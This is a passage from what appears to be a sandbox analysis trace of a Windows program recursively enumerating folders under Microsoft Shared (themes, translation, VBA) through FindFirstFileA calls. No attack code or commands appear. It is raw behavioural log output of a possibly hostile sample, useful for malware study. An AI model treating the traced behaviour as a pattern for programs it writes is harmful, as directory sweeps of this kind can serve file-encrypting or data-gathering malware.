lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0034.225] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb76129a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb76129a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.225] AreFileApisANSI () returned 1 [0034.225] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0034.227] GetFileType (hFile=0xc4) returned 0x1 [0034.228] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7638b00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7638b00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.228] AreFileApisANSI () returned 1 [0034.228] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0034.229] GetFileType (hFile=0xc4) returned 0x1 [0034.230] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7638b00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7638b00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.230] AreFileApisANSI () returned 1 [0034.230] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0034.231] GetFileType (hFile=0xc4) returned 0x1 [0034.234] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7638b00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7638b00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.236] GetFileType (hFile=0xc4) returned 0x1 [0034.237] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7638b00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7638b00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.238] GetFileType (hFile=0xc4) returned 0x1 [0034.239] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7638b00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7638b00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.240] GetFileType (hFile=0xc4) returned 0x1 [0034.241] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb765ec60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb765ec60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.242] GetFileType (hFile=0xc4) returned 0x1 [0034.243] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb765ec60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb765ec60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.244] GetFileType (hFile=0xc4) returned 0x1 [0034.245] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb765ec60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb765ec60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.246] GetFileType (hFile=0xc4) returned 0x1 [0034.247] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb765ec60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb765ec60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.248] GetFileType (hFile=0xc4) returned 0x1 [0034.249] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb765ec60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb765ec60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.250] GetFileType (hFile=0xc4) returned 0x1 [0034.251] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb765ec60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb765ec60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.252] GetFileType (hFile=0xc4) returned 0x1 [0034.253] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb765ec60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb765ec60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.254] GetFileType (hFile=0xc4) returned 0x1 [0034.254] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb765ec60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb765ec60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.258] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7684dc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7684dc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.258] GetFileType (hFile=0xc4) returned 0x1 [0034.259] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7684dc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7684dc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.261] GetFileType (hFile=0xc4) returned 0x1 [0034.262] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7684dc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7684dc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.262] GetFileType (hFile=0xc4) returned 0x1 [0034.263] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7684dc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7684dc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.264] GetFileType (hFile=0xc4) returned 0x1 [0034.265] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7684dc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7684dc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.266] GetFileType (hFile=0xc4) returned 0x1 [0034.267] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7684dc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7684dc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.269] GetFileType (hFile=0xc4) returned 0x1 [0034.270] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7684dc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7684dc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.273] GetFileType (hFile=0xc4) returned 0x1 [0034.274] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb76aaf20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb76aaf20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.277] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb76aaf20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb76aaf20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.278] GetFileType (hFile=0xc4) returned 0x1 [0034.279] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb76aaf20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb76aaf20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.285] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb76aaf20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb76aaf20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.286] GetFileType (hFile=0xc4) returned 0x1 [0034.288] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb76aaf20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb76aaf20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.290] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb76d1080, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb76d1080, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.293] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb76d1080, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb76d1080, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0034.294] GetFileType (hFile=0xc4) returned 0x1 [0034.295] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb76d1080, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb76d1080, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.296] GetFileType (hFile=0xc4) returned 0x1 [0034.297] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb76d1080, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb76d1080, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.297] GetFileType (hFile=0xc4) returned 0x1 [0034.298] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb76d1080, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb76d1080, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.299] GetFileType (hFile=0xc4) returned 0x1 [0034.300] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb76d1080, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb76d1080, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.301] GetFileType (hFile=0xc4) returned 0x1 [0034.302] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb76d1080, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb76d1080, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.303] GetFileType (hFile=0xc4) returned 0x1 [0034.305] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb76f71e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb76f71e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.305] GetFileType (hFile=0xc8) returned 0x1 [0034.307] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb76f71e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb76f71e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0034.308] GetFileType (hFile=0xc4) returned 0x1 [0034.309] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb76f71e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb76f71e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.311] GetFileType (hFile=0xc8) returned 0x1 [0034.312] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb76f71e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb76f71e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0034.313] GetFileType (hFile=0xc4) returned 0x1 [0034.314] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb76f71e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb76f71e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.317] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb76f71e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb76f71e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0034.319] GetFileType 